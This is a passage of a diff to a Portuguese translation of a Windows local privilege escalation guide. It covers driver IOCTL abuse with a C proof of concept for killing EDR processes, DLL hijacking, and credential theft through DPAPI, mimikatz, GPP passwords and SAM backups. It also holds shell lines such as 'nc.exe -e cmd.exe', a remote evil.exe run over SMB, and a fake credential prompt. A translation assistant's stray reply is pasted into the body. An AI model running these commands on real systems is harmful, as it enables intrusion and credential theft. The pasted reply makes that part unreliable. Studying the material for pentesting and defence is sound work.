apontar para um binary. Se esse binary puder ser substituído, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](). ## Aplicações ### Aplicações Instaladas -Verifique as **permissões dos binaries** (talvez você consiga overwrite um e escalate privileges) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)). +Verifique as **permissões dos binaries** (talvez você consiga sobrescrever um e realizar privilege escalation) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,11 +598,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Permissões de gravação +### Permissões de Escrita -Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial, ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks). +Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks). -Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é fazendo: +Uma maneira de encontrar permissões fracas de pastas/arquivos no sistema é executar: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -627,8 +627,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Executar na inicialização -**Verifique se você pode sobrescrever algum registry ou binary que será executado por um usuário diferente.**\ -**Leia** a **página seguinte** para saber mais sobre interessantes **autoruns locations to escalate privileges**: +**Verifique se você pode sobrescrever algum registry ou binary que será executado por outro usuário.**\ +**Leia** a **página a seguir** para saber mais sobre **autoruns locations interessantes para escalar privilégios**: {{#ref}} @@ -637,24 +637,57 @@ privilege-escalation-with-autorun-binaries.md ### Drivers -Procure por possíveis drivers **de terceiros estranhos/vulneráveis** +Procure possíveis **drivers de terceiros estranhos/vulneráveis** ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Se um driver expõe um arbitrary kernel read/write primitive (comum em IOCTL handlers mal projetados), você pode escalar privilégios roubando um SYSTEM token diretamente da kernel memory. Veja a técnica passo a passo aqui: +Se um driver expõe uma primitiva arbitrária de leitura/gravação do kernel (comum em handlers IOCTL mal projetados), você pode escalar privilégios roubando um token SYSTEM diretamente da memória do kernel. Veja a técnica passo a passo aqui: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Abuso da ausência de FILE_DEVICE_SECURE_OPEN em objetos de dispositivo (LPE + EDR kill) + +Alguns drivers de terceiros assinados criam seu objeto de dispositivo com um SDDL forte via IoCreateDeviceSecure, mas esquecem de definir FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, a DACL segura não é aplicada quando o dispositivo é aberto por um caminho que contenha um componente extra, permitindo que qualquer usuário sem privilégios obtenha um handle usando um caminho de namespace como: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Uma vez que um usuário consegue abrir o dispositivo, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e manipulação. Capacidades de exemplo observadas na prática: +- Retornar handles com acesso total para processos arbitrários (token theft / shell SYSTEM via DuplicateTokenEx/CreateProcessAsUser). +- Leitura/gravação raw de disco sem restrições (manipulação offline, truques de persistência no boot). +- Encerrar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo AV/EDR kill a partir do user land via kernel. + +Padrão mínimo de PoC (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Mitigações para desenvolvedores +- Sempre defina FILE_DEVICE_SECURE_OPEN ao criar objetos de dispositivo destinados a ser restritos por um DACL. +- Valide o contexto do chamador para operações privilegiadas. Adicione verificações PP/PPL antes de permitir o encerramento de processos ou o retorno de handles. +- Restringa IOCTLs (access masks, METHOD_*, validação de entrada) e considere modelos intermediados em vez de privilégios diretos no kernel. + +Detecção — ideias para defensores +- Monitore aberturas em user-mode de nomes de dispositivos suspeitos (e.g., \\ .\\amsdk*) e sequências específicas de IOCTL indicativas de abuso. +- Aplique a blocklist de drivers vulneráveis da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias listas de permissão/negação. + ## PATH DLL Hijacking -Se você tem **write permissions inside a folder present on PATH**, pode conseguir hijackar uma DLL carregada por um processo e **escalate privileges**. +Se você tem **permissões de escrita dentro de uma pasta presente em PATH** você poderia conseguir hijack a DLL carregada por um processo e **escalate privileges**. -Verifique as permissões de todas as pastas presentes no PATH: +Verifique as permissões de todas as pastas dentro de PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -689,11 +722,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Portas Abertas -Verifique a existência de **serviços restritos** acessíveis externamente +Verifique a existência de **serviços restritos** acessíveis externamente. ```bash netstat -ano #Opened ports? ``` -### Tabela de Rotas +### Tabela de Roteamento ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -705,9 +738,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Regras de Firewall -[**Consulte esta página para comandos relacionados ao Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** +[**Confira esta página para comandos relacionados ao Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** -Mais [comandos para enumeração de rede aqui](../basic-cmd-for-pentesters.md#network) +Mais[ comandos para enumeração de rede aqui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -716,7 +749,7 @@ C:\Windows\System32\wsl.exe ``` O binário `bash.exe` também pode ser encontrado em `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se você obtiver root user, pode escutar em qualquer porta (a primeira vez que você usar `nc.exe` para escutar em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). +Se você conseguir o usuário root, pode escutar em qualquer porta (na primeira vez que você usar `nc.exe` para escutar em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -725,7 +758,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Para iniciar facilmente o bash como root, você pode tentar `--default-user root` -Você pode explorar o sistema de arquivos do `WSL` na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Você pode explorar o `WSL` filesystem na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Credenciais do Windows @@ -741,14 +774,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Gerenciador de credenciais / Windows vault +### Credentials manager / Windows vault -De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -O Windows Vault armazena credenciais de usuário para servidores, sites e outros programas nos quais o **Windows** pode **efetuar login automaticamente**. A princípio, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente através dos navegadores. Mas não é assim. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas que **Windows** pode **efetuar o login automático dos usuários**. A princípio, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente via navegadores. Mas não é assim. -O Windows Vault armazena credenciais que o Windows pode usar para efetuar login automaticamente, o que significa que qualquer **aplicação Windows que precise de credenciais para acessar um recurso** (servidor ou um site) **pode fazer uso deste Credential Manager** & Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. +O Windows Vault armazena credenciais que o Windows pode usar para efetuar o login automático dos usuários, o que significa que qualquer **Windows application that needs credentials to access a resource** (servidor ou um website) **can make use of this Credential Manager** & Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. -A menos que as aplicações interajam com o Credential Manager, não acredito que seja possível que elas usem as credenciais para um recurso específico. Portanto, se sua aplicação quiser fazer uso do cofre, ela deve de alguma forma **comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. +A menos que as aplicações interajam com Credential Manager, não acredito que seja possível para elas usarem as credenciais para um dado recurso. Portanto, se sua aplicação quiser fazer uso do vault, ela deve de alguma forma **comunicar-se com o credential manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. Use o `cmdkey` para listar as credenciais armazenadas na máquina. ```bash @@ -758,39 +791,37 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Então você pode usar `runas` com a opção `/savecred` para utilizar as credenciais salvas. O exemplo a seguir chama um binário remoto através de um compartilhamento SMB. +Então você pode usar `runas` com a opção `/savecred` para usar as credenciais salvas. O exemplo a seguir chama um binário remoto via um compartilhamento SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Usando `runas` com um conjunto de credential fornecido. +Usando `runas` com um conjunto de credenciais fornecidas. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou do [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Observe que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ou do [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -A **Data Protection API (DPAPI)** fornece um método para criptografia simétrica de dados, usado predominantemente no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia aproveita um segredo do usuário ou do sistema para contribuir significativamente para a entropia. +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI permite a criptografia de chaves através de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários envolvendo criptografia do sistema, ele utiliza os segredos de autenticação de domínio do sistema. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -As chaves RSA de usuário criptografadas com DPAPI são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o usuário's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, normalmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a este diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado via PowerShell). +Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, tipicamente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a esse diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Você pode usar **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo. +Você pode usar o **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo. -Os **arquivos de credenciais protegidos pela master password** geralmente estão localizados em: +Os **credentials files protected by the master password** geralmente estão localizados em: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Você pode usar **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\ -Você pode **extrair muitos DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). - +Você pode usar **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\ Você pode **extrair muitos DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). {{#ref}} dpapi-extracting-passwords.md @@ -800,7 +831,7 @@ dpapi-extracting-passwords.md **Credenciais do PowerShell** são frequentemente usadas para tarefas de **scripting** e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando **DPAPI**, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas. -Para **descriptografar** uma credencial do PowerShell a partir do arquivo que a contém, você pode fazer: +Para **descriptografar** uma credencial do PS a partir do arquivo que a contém, você pode fazer: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -811,7 +842,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -825,7 +856,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| Você pode encontrá-las em `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ e em `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Comandos Recentemente Executados +### Comandos executados recentemente ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -834,16 +865,16 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use o **Mimikatz** `dpapi::rdg` module com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg**\ -Você pode **extrair muitas DPAPI masterkeys** da memória com o módulo `sekurlsa::dpapi` do Mimikatz +Use o módulo `dpapi::rdg` do **Mimikatz** com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg`\ +Você pode **extrair muitos DPAPI masterkeys** da memória com o módulo `sekurlsa::dpapi` do **Mimikatz** ### Sticky Notes -As pessoas frequentemente usam o aplicativo StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e sempre vale a pena procurá-lo e examiná-lo. +Frequentemente as pessoas usam o aplicativo StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Esse arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e sempre vale a pena procurá-lo e examiná-lo. ### AppCmd.exe -**Observe que para recuperar senhas do AppCmd.exe você precisa ser Administrador e executar com um nível de integridade alto.**\ +**Observe que, para recuperar senhas do AppCmd.exe, você precisa ser Administrador e executar com nível de integridade alto.**\ **AppCmd.exe** está localizado no diretório `%systemroot%\system32\inetsrv\`.\ Se esse arquivo existir, é possível que algumas **credenciais** tenham sido configuradas e possam ser **recuperadas**. @@ -928,7 +959,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifique se `C:\Windows\CCM\SCClient.exe` existe .\ -Os instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Informações de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -936,31 +967,31 @@ else { Write "Not Installed." } ``` ## Arquivos e Registro (Credenciais) -### Credenciais do Putty +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host Keys +### Putty Chaves SSH do Host ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### Chaves SSH no registro -Chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá: +Chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, portanto você deve verificar se há algo interessante lá: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela é armazenada criptografada mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Se encontrar alguma entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela está armazenada criptografada, mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Mais informações sobre esta técnica aqui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se o serviço `ssh-agent` não estiver em execução e você quiser que ele seja iniciado automaticamente na inicialização, execute: +Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inicie automaticamente na inicialização, execute: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] > Parece que esta técnica não é mais válida. Tentei criar algumas ssh keys, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação por chave assimétrica. -### Unattended files +### Arquivos desatendidos ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -996,7 +1027,7 @@ Conteúdo de exemplo: ``` -### Cópias de segurança do SAM & SYSTEM +### Backups do SAM & SYSTEM ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1018,15 +1049,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Procure por um arquivo chamado **SiteList.xml** - ### Senha GPP em cache -Havia anteriormente um recurso que permitia o deployment de contas de administrador local personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). Contudo, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. +Uma funcionalidade anteriormente disponível permitia a implantação de contas locais de administrador personalizadas em um conjunto de máquinas via Group Policy Preferences (GPP). Entretanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. -Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e na correção dessa vulnerabilidade de segurança. +Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP armazenados localmente em cache que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e correção dessa vulnerabilidade de segurança. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior ao W Vista)_ for these files: - Groups.xml - Services.xml @@ -1088,7 +1117,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Registros +### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1096,9 +1125,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Solicitar credentials +### Peça credenciais -Você sempre pode **pedir ao usuário para inserir suas credentials ou até mesmo as credentials de um usuário diferente** se achar que ele as conhece (observe que **pedir** diretamente ao cliente pelas **credentials** é realmente **arriscado**): +Você pode sempre **pedir ao usuário para inserir suas credenciais ou até as credenciais de outro usuário** se achar que ele pode conhecê‑las (observe que **pedir** diretamente ao cliente pelas **credenciais** é realmente **arriscado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1106,7 +1135,7 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possíveis nomes de arquivos que contêm credenciais** +### **Possíveis nomes de arquivos contendo credentials** Arquivos conhecidos que, há algum tempo, continham **passwords** em **clear-text** ou **Base64** ```bash @@ -1172,7 +1201,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Não tenho acesso direto ao seu repositório. Por favor cole aqui o conteúdo do arquivo src/windows-hardening/windows-local-privilege-escalation/README.md que quer que eu traduza (ou confirme quais outros arquivos incluir). Vou traduzir o texto relevante para português seguindo suas regras (não traduzir código, nomes de técnicas, links, tags, paths, etc.). +Não tenho acesso ao seu sistema de arquivos. Por favor, cole aqui o conteúdo do arquivo src/windows-hardening/windows-local-privilege-escalation/README.md (ou envie os arquivos propostos) e eu farei a tradução para português mantendo exatamente a mesma sintaxe Markdown/HTML e as exceções que você indicou. Quer que eu traduza todo o arquivo ou apenas seções específicas? ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1181,15 +1210,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials no RecycleBin +### Credenciais na Lixeira -Você também deve verificar o Bin para procurar credentials dentro dele +Você também deve verificar a Lixeira em busca de credenciais. -Para **recover passwords** salvas por vários programas você pode usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Para **recuperar senhas** salvas por vários programas você pode usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Dentro do registry +### Dentro do registro -**Outras possíveis chaves do registry com credentials** +**Outras possíveis chaves do registro com credenciais** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1198,10 +1227,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### Histórico dos Navegadores +### Histórico dos navegadores -Você deve verificar por dbs onde **senhas** do **Chrome or Firefox** são armazenadas.\ -Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas **senhas** estejam armazenadas lá. +Você deve procurar por dbs onde senhas do **Chrome or Firefox** são armazenadas. +Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas **senhas estejam** armazenadas lá. Ferramentas para extrair senhas dos navegadores: @@ -1212,38 +1241,38 @@ Ferramentas para extrair senhas dos navegadores: ### **COM DLL Overwriting** -**Component Object Model (COM)** é uma tecnologia integrada ao sistema operacional Windows que permite a **intercomunicação** entre componentes de software escritos em diferentes linguagens. Cada componente COM é **identificado via class ID (CLSID)** e cada componente expõe funcionalidades através de uma ou mais interfaces, identificadas por interface IDs (IIDs). +**Component Object Model (COM)** é uma tecnologia integrada ao sistema operacional Windows que permite a **intercomunicação** entre componentes de software de diferentes linguagens. Cada componente COM é **identificado via um class ID (CLSID)** e cada componente expõe funcionalidade por meio de uma ou mais interfaces, identificadas via interface IDs (IIDs). -Classes e interfaces COM são definidas no registry sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** respectivamente. Esse registry é criado pela mesclagem de **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +As classes e interfaces COM são definidas no registro sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface**, respectivamente. Esse registro é criado pela mesclagem de **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT**. -Dentro dos CLSIDs desse registry você pode encontrar a chave filha **InProcServer32** que contém um **valor padrão** apontando para uma **DLL** e um valor chamado **ThreadingModel** que pode ser **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ou **Neutral** (Thread Neutral). +Dentro dos CLSIDs desse registro você pode encontrar a chave filha **InProcServer32**, que contém um **valor padrão** apontando para uma **DLL** e um valor chamado **ThreadingModel** que pode ser **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ou **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Basicamente, se você conseguir **sobrescrever qualquer uma das DLLs** que serão executadas, você poderia **elevar privilégios** se essa DLL for executada por um usuário diferente. +Basicamente, se você puder **sobrescrever qualquer uma das DLLs** que serão executadas, você poderia **escalar privilégios** se essa DLL for executada por um usuário diferente. -Para aprender como atacantes usam COM Hijacking como mecanismo de persistência, verifique: +Para aprender como atacantes usam COM Hijacking como mecanismo de persistência, veja: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **Busca genérica de senhas em arquivos e no registro** -**Search for file contents** +**Pesquisar por conteúdo de arquivos** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Pesquisar um arquivo com um determinado nome** +**Pesquisar por um arquivo com um nome específico** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ 